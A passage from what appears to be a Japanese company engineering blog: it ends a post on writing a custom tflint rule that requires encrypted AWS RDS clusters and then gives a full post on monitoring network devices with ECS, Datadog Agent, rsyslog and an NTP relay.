*AwsRdsClusterMustBeEncryptedRule) Name() <span class="synType">string</span> { <span class="synComment">// ルール名</span> <span class="synStatement">return</span> <span class="synConstant">&quot;aws_rds_cluster_must_be_encrypted&quot;</span> } <span class="synStatement">func</span> (r *AwsRdsClusterMustBeEncryptedRule) Enabled() <span class="synType">bool</span> { <span class="synStatement">return</span> <span class="synStatement">true</span> } <span class="synStatement">func</span> (r *AwsRdsClusterMustBeEncryptedRule) Severity() <span class="synType">string</span> { <span class="synStatement">return</span> tflint.ERROR } <span class="synStatement">func</span> (r *AwsRdsClusterMustBeEncryptedRule) Link() <span class="synType">string</span> { <span class="synComment">// ルールのドキュメントのリンク先</span> <span class="synStatement">return</span> <span class="synConstant">&quot;https://rule-document.example.com/posts/12345&quot;</span> } <span class="synStatement">func</span> (r *AwsRdsClusterMustBeEncryptedRule) Check(runner tflint.Runner) <span class="synType">error</span> { err := runner.WalkResources(<span class="synConstant">&quot;aws_rds_cluster&quot;</span>, <span class="synType">func</span>(resource *configs.Resource) <span class="synType">error</span> { content, _, diags := resource.Config.PartialContent(&amp;hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ {Name: <span class="synConstant">&quot;storage_encrypted&quot;</span>}, }, }) <span class="synStatement">if</span> diags.HasErrors() { <span class="synStatement">return</span> diags } <span class="synComment">// storage_encryptedが存在しない場合は違反</span> <span class="synStatement">if</span> _, exists := content.Attributes[<span class="synConstant">&quot;storage_encrypted&quot;</span>]; !exists { <span class="synStatement">return</span> runner.EmitIssue(r, <span class="synConstant">&quot;`storage_encrypted` attribute not found&quot;</span>, resource.DeclRange) } <span class="synStatement">return</span> <span class="synStatement">nil</span> }) <span class="synStatement">if</span> err != <span class="synStatement">nil</span> { <span class="synStatement">return</span> err } <span class="synStatement">return</span> runner.WalkResourceAttributes(<span class="synConstant">&quot;aws_rds_cluster&quot;</span>, <span class="synConstant">&quot;storage_encrypted&quot;</span>, <span class="synType">func</span>(attribute *hcl.Attribute) <span class="synType">error</span> { <span class="synStatement">var</span> storageRncrypted <span class="synType">string</span> err := runner.EvaluateExpr(attribute.Expr, &amp;storageRncrypted, <span class="synStatement">nil</span>) <span class="synStatement">if</span> err != <span class="synStatement">nil</span> { <span class="synStatement">return</span> err } <span class="synStatement">if</span> storageRncrypted == <span class="synConstant">&quot;true&quot;</span> { <span class="synStatement">return</span> <span class="synStatement">nil</span> } <span class="synComment">// storage_encryptedがtrueでない場合は違反</span> <span class="synStatement">return</span> runner.EmitIssueOnExpr( r, fmt.Sprintf(<span class="synConstant">&quot;`storage_encrypted` is %s&quot;</span>, storageRncrypted), attribute.Expr, ) }) } </pre> <p>そして <code>main.go</code> にルールを追加します。</p> <ul> <li><code>main.go</code></li> </ul> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> main() { plugin.Serve(&amp;plugin.ServeOpts{ RuleSet: &amp;tflint.BuiltinRuleSet{ Name: <span class="synConstant">&quot;kanmu&quot;</span>, Version: <span class="synConstant">&quot;0.2.0&quot;</span>, Rules: []tflint.Rule{ rules.NewAwsRdsClusterMustBeEncryptedRule(), }, }, }) } </pre> <p>これで <a class="keyword" href="http://d.hatena.ne.jp/keyword/aws">aws</a>_rds_cluster リソースが <code>storage_encrypted = true</code> でない場合はエラーになります。</p> <pre class="code hs" data-lang="hs" data-unlink>Error: `storage_encrypted` is false (aws_rds_cluster_must_be_encrypted) on rds.tf line 70: 70: storage_encrypted = false Reference: https://rule-document.example.com/posts/12345</pre> <h2>カスタムルールセットの配布</h2> <p>カスタムルールを<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>として <code>tflint --init</code> でインストールする場合、terraform providerと同様にgpgでの署名が必要になります。</p> <p>基本的にはterraformの<a href="https://learn.hashicorp.com/tutorials/terraform/provider-release-publish#generate-gpg-signing-key">ドキュメント</a>に従ってgpgの鍵を作成し、terraform-provider-scaffoldingの<a href="https://github.com/hashicorp/terraform-provider-scaffolding/blob/main/.goreleaser.yml">GoReleaserの設定</a>を編集して使えば、ルールセットのCIで自動的にインストール可能な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AB%A5%A4%A5%D6">アーカイブ</a>ファイルが作成できます。</p> <p>また<code>.tflint.hcl</code> にはカスタムルールセットの設定を追加しておきます。</p> <pre class="code lang-hcl" data-lang="hcl" data-unlink><span class="synType">plugin</span> <span class="synConstant">&quot;kanmu&quot;</span> <span class="synSpecial">{</span> <span class="synIdentifier">enabled</span> = <span class="synConstant">true</span> <span class="synIdentifier">version</span> = <span class="synConstant">&quot;0.1.0&quot;</span> <span class="synIdentifier">source</span> = <span class="synConstant">&quot;github.com/xxx/tflint-ruleset-kanmu&quot;</span> <span class="synIdentifier">signing_key</span> = <span class="synConstant">&lt;&lt;-KEY</span> <span class="synConstant"> -----BEGIN PGP PUBLIC KEY BLOCK-----</span> <span class="synConstant"> ...</span> <span class="synConstant"> -----END PGP PUBLIC KEY BLOCK-----</span> <span class="synConstant"> KEY</span> } </pre> <h2>まとめ</h2> <p>tflintを使うことで、単純なミスをチェックしたりベストプ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%E9%A5%AF">ラク</a>ティスを強制することができるようになります。 また、独自のルールセットを作成することで、RDSの暗号化のような「作成後に変更できない」設定をCIでチェックできるようになりました。</p> <p>カンムではインフラの自動化に興味のあるインフラエンジニアを絶賛募集中です。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fopen.talentio.com%2Fr%2F1%2Fc%2Fkanmu%2Fpages%2F52803" title="インフラエンジニア / 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://open.talentio.com/r/1/c/kanmu/pages/52803">open.talentio.com</a></cite></p> winebarrel ECSとDatadogを使ったネットワーク機器のモニタリング hatenablog://entry/13574176438058149543 2022-02-01T09:19:51+09:00 2022-02-01T09:19:51+09:00 インフラエンジニアの菅原です。 カンムはバンドルカードというVisaプリペイドカードのサービスを提供していますが、Visaと決済情報をやりとりするためにオンプレミスのサーバと通信しています。 カンムのサービスはAWS上で構築されており、AWSとオンプレミスのサーバの通信はAWS Direct Connectを経由してます。 また、ネットワーク制御のためスイッチとしてCisco CatalystとJuniper SRXを使用しています。 ネットワーク機器は通常のサーバと同様になにかしらの問題が発生することがあるため、SNMPによるメトリクスの収集やSNMPトラップでのイベントの検知が必要になりま… <p>インフラエンジニアの菅原です。</p> <p>カンムはバンドルカードというVisa<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%EA%A5%DA%A5%A4%A5%C9">プリペイド</a>カードのサービスを提供していますが、Visaと決済情報をやりとりするためにオンプレミスのサーバと通信しています。</p> <p>カンムのサービスは<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>上で構築されており、<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>とオンプレミスのサーバの通信は<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> Direct Connectを経由してます。</p> <p>また、ネットワーク制御のためスイッチとして<a class="keyword" href="http://d.hatena.ne.jp/keyword/Cisco">Cisco</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Catalyst">Catalyst</a>とJuniper <a class="keyword" href="http://d.hatena.ne.jp/keyword/SRX">SRX</a>を使用しています。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130132559.jpg" alt="f:id:winebarrel:20220130132559j:plain" width="1200" height="497" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>ネットワーク機器は通常のサーバと同様になにかしらの問題が発生することがあるため、<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>によるメトリクスの収集や<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップでのイベントの検知が必要になります。</p> <p>また、Syslogはネットワーク機器内にファイルとして保存されていますが、外部にログを転送・保存しておくことで何か問題が発生したときに分析がやりやすくなります。</p> <p>以前まではEC2<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>で<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>の収集・<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップの受信・ネットワーク機器用のSyslogサーバ、NTPサーバの運用を行っていました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130134323.jpg" alt="f:id:winebarrel:20220130134323j:plain" width="1200" height="907" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h1>ECSとDatadogによる監視の構築</h1> <p>EC2<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>はサーバーの自体の管理やOS・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DF%A5%C9%A5%EB%A5%A6%A5%A7%A5%A2">ミドルウェア</a>のアップデートなどでそれなりに運用の手間がかかります。</p> <p>そこでECSとDatadogを使って、コンテナと<a class="keyword" href="http://d.hatena.ne.jp/keyword/SaaS">SaaS</a>でネットワーク機器の監視をできるようにしました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130135659.jpg" alt="f:id:winebarrel:20220130135659j:plain" width="1200" height="855" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h2>Datadog Agentによる<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>の収集と<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップの受信</h2> <p>ネットワーク機器の<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>の収集と<a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップの受信にはDatadog Agentのコンテナを使用しています。<a href="#f-c7676341" name="fn-c7676341" title="https://docs.datadoghq.com/network_monitoring/devices/setup/?tab=snmpv2 ">*1</a></p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップは<a class="keyword" href="http://d.hatena.ne.jp/keyword/UDP">UDP</a>で送信されるためNetwork Load Balancer(NLB)を使ったECSサービスを作成しました。</p> <h3>Dockerfile</h3> <pre class="code lang-dockerfile" data-lang="dockerfile" data-unlink><span class="synStatement">FROM </span>datadog/agent:7 <span class="synComment"># (中略)</span> <span class="synStatement">COPY </span>datadog.yaml.tmpl /etc/datadog-agent/ <span class="synStatement">COPY </span>snmp.d_conf.yaml.tmpl /etc/datadog-agent/conf.d/snmp.d/conf.yaml.tmpl <span class="synStatement">COPY </span>ping.d_conf.yaml.tmpl /etc/datadog-agent/conf.d/ping.d/conf.yaml.tmpl <span class="synComment"># https://github.com/progrium/entrykit を使っています</span> <span class="synStatement">ENTRYPOINT </span>[ \ <span class="synConstant">&quot;render&quot;</span>,\ <span class="synConstant">&quot;/etc/datadog-agent/datadog.yaml&quot;</span>, \ <span class="synConstant">&quot;--&quot;</span>, \ <span class="synConstant">&quot;render&quot;</span>,\ <span class="synConstant">&quot;/etc/datadog-agent/conf.d/snmp.d/conf.yaml&quot;</span>, \ <span class="synConstant">&quot;--&quot;</span>, \ <span class="synConstant">&quot;/bin/entrypoint.sh&quot;</span> \ ] </pre> <h3>datadog.yml</h3> <pre class="code lang-yaml" data-lang="yaml" data-unlink><span class="synComment"># cf. https://github.com/DataDog/datadog-agent/blob/main/pkg/config/config_template.yaml</span> <span class="synIdentifier">snmp_traps_enabled</span><span class="synSpecial">:</span> <span class="synConstant">true</span> <span class="synIdentifier">snmp_traps_config</span><span class="synSpecial">:</span> <span class="synIdentifier">bind_host</span><span class="synSpecial">:</span> <span class="synConstant">&quot;0.0.0.0&quot;</span> <span class="synIdentifier">community_strings</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synConstant">'{{ var &quot;COMMUNITY_STRING&quot; }}'</span> <span class="synComment"># </span><span class="synTodo">NOTE</span><span class="synComment">: Needed for SNMP trap</span> <span class="synIdentifier">logs_enabled</span><span class="synSpecial">:</span> <span class="synConstant">true</span> </pre> <h3><a class="keyword" href="http://d.hatena.ne.jp/keyword/snmp">snmp</a>.d/conf.yml</h3> <pre class="code lang-yaml" data-lang="yaml" data-unlink><span class="synComment"># cf. https://docs.datadoghq.com/ja/network_performance_monitoring/devices/setup/?tab=snmpv2</span> <span class="synIdentifier">init_config</span><span class="synSpecial">:</span> <span class="synIdentifier">loader</span><span class="synSpecial">:</span> core <span class="synIdentifier">use_device_id_as_hostname</span><span class="synSpecial">:</span> <span class="synConstant">true</span> <span class="synIdentifier">instances</span><span class="synSpecial">:</span> <span class="synSpecial">{{</span> range $_, <span class="synIdentifier">$ip_address</span><span class="synSpecial"> :</span>= var <span class="synConstant">&quot;IP_ADDRESSES&quot;</span> | split <span class="synConstant">&quot;,&quot;</span> <span class="synSpecial">}}</span> <span class="synStatement">- </span><span class="synIdentifier">ip_address</span><span class="synSpecial">:</span> <span class="synConstant">&quot;{{ $ip_address }}&quot;</span> <span class="synIdentifier">community_string</span><span class="synSpecial">:</span> <span class="synConstant">&quot;{{ var &quot;</span>COMMUNITY_STRING&quot; }}<span class="synConstant">&quot;</span> <span class="synConstant">{{ end }}</span> </pre> <p>Datadog Agentで収集された情報はDatadogに送られます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130141331.png" alt="f:id:winebarrel:20220130141331p:plain" width="945" height="677" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SNMP">SNMP</a>トラップはDatadog Logsに送られます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130141837.png" alt="f:id:winebarrel:20220130141837p:plain" width="936" height="721" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h2>RsyslogによるSyslogの受信とDatadogへの送信</h2> <p>ネットワーク機器からのSyslogの受信にはRsyslogのコンテナを使用しています。</p> <p>Datadog Agentと同じNLBを使ったECSサービス上でコンテナを起動し、受信したSyslogはDadadog Logsへと送られます。<a href="#f-74df27c8" name="fn-74df27c8" title="https://docs.datadoghq.com/ja/integrations/rsyslog/?tab=datadogussite">*2</a></p> <h3>Dockefile</h3> <pre class="code lang-dockerfile" data-lang="dockerfile" data-unlink><span class="synStatement">FROM </span>ubuntu:20.04 <span class="synComment"># (中略)</span> <span class="synStatement">COPY </span>rsyslog.conf.tmpl /etc/ <span class="synStatement">COPY </span>datadog.conf.tmpl /etc/rsyslog.d/ <span class="synStatement">ENTRYPOINT </span>[ \ <span class="synConstant">&quot;render&quot;</span>,\ <span class="synConstant">&quot;/etc/rsyslog.d/datadog.conf&quot;</span>, \ <span class="synConstant">&quot;--&quot;</span>, \ <span class="synConstant">&quot;render&quot;</span>,\ <span class="synConstant">&quot;/etc/rsyslog.conf&quot;</span>, \ <span class="synConstant">&quot;--&quot;</span>, \ <span class="synConstant">&quot;rsyslogd&quot;</span>, <span class="synConstant">&quot;-n&quot;</span> \ ] </pre> <h3>rsyslog.conf</h3> <pre class="code" data-lang="" data-unlink>module(load=&#34;imuxsock&#34;) module(load=&#34;immark&#34; interval=&#34;20&#34;) module(load=&#34;imudp&#34;) input(type=&#34;imudp&#34; port=&#34;{{ var &#34;RSYSLOG_PORT&#34; | default 514 }}&#34;) module(load=&#34;imtcp&#34;) input(type=&#34;imtcp&#34; port=&#34;514&#34;) module(load=&#34;omstdout&#34;) $WorkDirectory /var/spool/rsyslog $IncludeConfig /etc/rsyslog.d/*.conf $AbortOnUncleanConfig on $DefaultNetstreamDriverCAFile /etc/ssl/certs/ca-certificates.crt action(type=&#34;omstdout&#34;)</pre> <h3>datadog.conf</h3> <pre class="code" data-lang="" data-unlink>## Set the Datadog Format to send the logs $template DatadogFormat,&#34;{{ var &#34;DD_API_KEY&#34; }} &lt;%pri%&gt;%protocol-version% %timestamp:::date-rfc3339% %HOSTNAME% %app-name% - - [metas ddsource=\&#34;rsyslog\&#34; ddtags=\&#34;env:prd\&#34;] %msg%\n&#34; action( type=&#34;omfwd&#34; protocol=&#34;tcp&#34; target=&#34;intake.logs.datadoghq.com&#34; port=&#34;10516&#34; template=&#34;DatadogFormat&#34; StreamDriver=&#34;gtls&#34; StreamDriverMode=&#34;1&#34; StreamDriverAuthMode=&#34;x509/name&#34; StreamDriverPermittedPeers=&#34;*.logs.datadoghq.com&#34; action.resumeRetryCount=&#34;10&#34; action.reportSuspension=&#34;on&#34; )</pre> <p>Datadog Logsに送られたSyslogはコンソールから見ることができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130143356.png" alt="f:id:winebarrel:20220130143356p:plain" width="975" height="577" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h2><a class="keyword" href="http://d.hatena.ne.jp/keyword/Amazon">Amazon</a> Time Sync ServiceによるNTPサービス</h2> <p>ネットワーク機器はNTPサーバとして<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>上のサーバを参照しています。</p> <p>ntpdのコンテナを作成してもよかったのですが<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a>が<a href="https://aws.amazon.com/jp/about-aws/whats-new/2017/11/introducing-the-amazon-time-sync-service/">Amazon Time Sync Service</a>を提供しているので、<a href="https://www.gcd.org/sengoku/stone/Welcome.ja.html">stone</a>を使ってNTPを<a class="keyword" href="http://d.hatena.ne.jp/keyword/Amazon">Amazon</a> Time Sync Serviceに中継するようにしました。</p> <h3>Dockerfile</h3> <pre class="code lang-dockerfile" data-lang="dockerfile" data-unlink><span class="synStatement">FROM </span>debian:bullseye AS build <span class="synStatement">ARG </span>STONE_VERSION=2.4 <span class="synStatement">RUN </span>apt-get update &amp;&amp; \ apt-get install -y curl build-essential <span class="synStatement">RUN </span>curl -sSfLO https://www.gcd.org/sengoku/stone/stone-${STONE_VERSION}.tar.gz &amp;&amp; \ tar xf stone-${STONE_VERSION}.tar.gz --strip-components 1 &amp;&amp; \ make linux <span class="synStatement">FROM </span>debian:bullseye-slim <span class="synStatement">COPY </span>--from=build stone /usr/local/bin/ <span class="synStatement">ENTRYPOINT </span>[<span class="synConstant">&quot;/usr/local/bin/stone&quot;</span>] </pre> <h3>タスク定義の一部</h3> <pre class="code" data-lang="" data-unlink> command: [ // NTP // cf. https://aws.amazon.com/jp/blogs/news/keeping-time-with-amazon-time-sync-service/ &#39;169.254.169.123:123/udp&#39;, &#39;123/udp&#39;, &#39;--&#39;, // HTTP (for healthcheck) &#39;169.254.169.253:53&#39;, &#39;80&#39;, ],</pre> <h1>苦労した点</h1> <h2>NLBのヘルスチェック</h2> <p>NLBで<a class="keyword" href="http://d.hatena.ne.jp/keyword/UDP">UDP</a>を使っている場合でもヘルスチェックは<a class="keyword" href="http://d.hatena.ne.jp/keyword/TCP">TCP</a>で行われます。 そのため、各コンテナで<a class="keyword" href="http://d.hatena.ne.jp/keyword/TCP">TCP</a>のヘルスチェックができるように工夫しました。</p> <ul> <li>Datadog Agentはいくつかデーモンが立ち上がっているので、そのうちの一つでLISTENされているポートをヘルスチェックに利用しています</li> <li>Rsyslogは<a class="keyword" href="http://d.hatena.ne.jp/keyword/TCP">TCP</a>でのSyslogの受信は行わないのですが、ヘルスチェックのために<code>input(type="imtcp" port="514")</code>の設定を追加しました</li> <li>stoneはそれ自体がヘルスチェック機能を持っていないので、<a class="keyword" href="http://d.hatena.ne.jp/keyword/VPC">VPC</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/DNS">DNS</a>サーバに<a class="keyword" href="http://d.hatena.ne.jp/keyword/TCP">TCP</a>パケットを中継してヘルスチェックとしています</li> </ul> <h2>DatadogとRsyslogの接続が切れる</h2> <p><a href="https://docs.datadoghq.com/ja/integrations/rsyslog/?tab=datadogussite">ドキュメントにも書いてある</a>のですが、DatadogとRsyslogの接続は非アクティブな状態が続くと切断されて再接続ができません。</p> <p>このため<code>module(load="immark" interval="20")</code>して定期的にログを流すようにしています。 また、切断されても気づけるようにログが一定時間流れなかったらアラートをあげるようにもしています。</p> <h2>ECSのデプロイ後にSyslogが受信できなくなる</h2> <p>ECSをデプロイすると一部のネットワーク機器からSyslogが受信できなくなるという問題もありました。 ネットワーク機器はNLBの<a class="keyword" href="http://d.hatena.ne.jp/keyword/IP%A5%A2%A5%C9%A5%EC%A5%B9">IPアドレス</a>を参照しているのですが、デプロイ完了後も古いコンテナのほうにSyslogが流れて続けてしまい、新しいコンテナにはSyslogが流れなくなるという状態になっていました。</p> <p>詳しい原因を調査できていないのですが、NLBのTarget Groupで<code>Connection termination on deregistration</code>を有効にすることで、この問題を解決できました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20220130/20220130150057.png" alt="f:id:winebarrel:20220130150057p:plain" width="1200" height="763" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h1>まとめ</h1> <p>いままでは監視用のEC2<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>の運用が地味に手間だったのですが、コンテナ化によってだいぶ手間を軽減することができました。</p> <p>また、Datadogを利用することでメトリクスやログの閲覧がとても楽になりました。</p> <p>カンムでは引き続きEC2からECSの移行が進行中です。興味のあるインフラエンジニアを絶賛募集しております。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fopen.talentio.com%2Fr%2F1%2Fc%2Fkanmu%2Fpages%2F52803" title="インフラエンジニア / 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://open.talentio.com/r/1/c/kanmu/pages/52803">open.talentio.com</a></cite></p> <div class="footnote"> <p class="footnote"><a href="#fn-c7676341" name="f-c7676341" class="footnote-number">*1</a><span class="footnote-delimiter">:</span><span class="footnote-text"><a href="https://docs.datadoghq.com/network_monitoring/devices/setup/?tab=snmpv2">https://docs.datadoghq.com/network_monitoring/devices/setup/?tab=snmpv2</a> </span></p> <p class="footnote"><a href="#fn-74df27c8" name="f-74df27c8" class="footnote-number">*2</a><span class="footnote-delimiter">:</span><span class="footnote-text"><a href="https://docs.datadoghq.com/ja/integrations/rsyslog/?tab=datadogussite">https://docs.datadoghq.com/ja/integrations/rsyslog/?tab=datadogussite</a></span></p> </div> winebarrel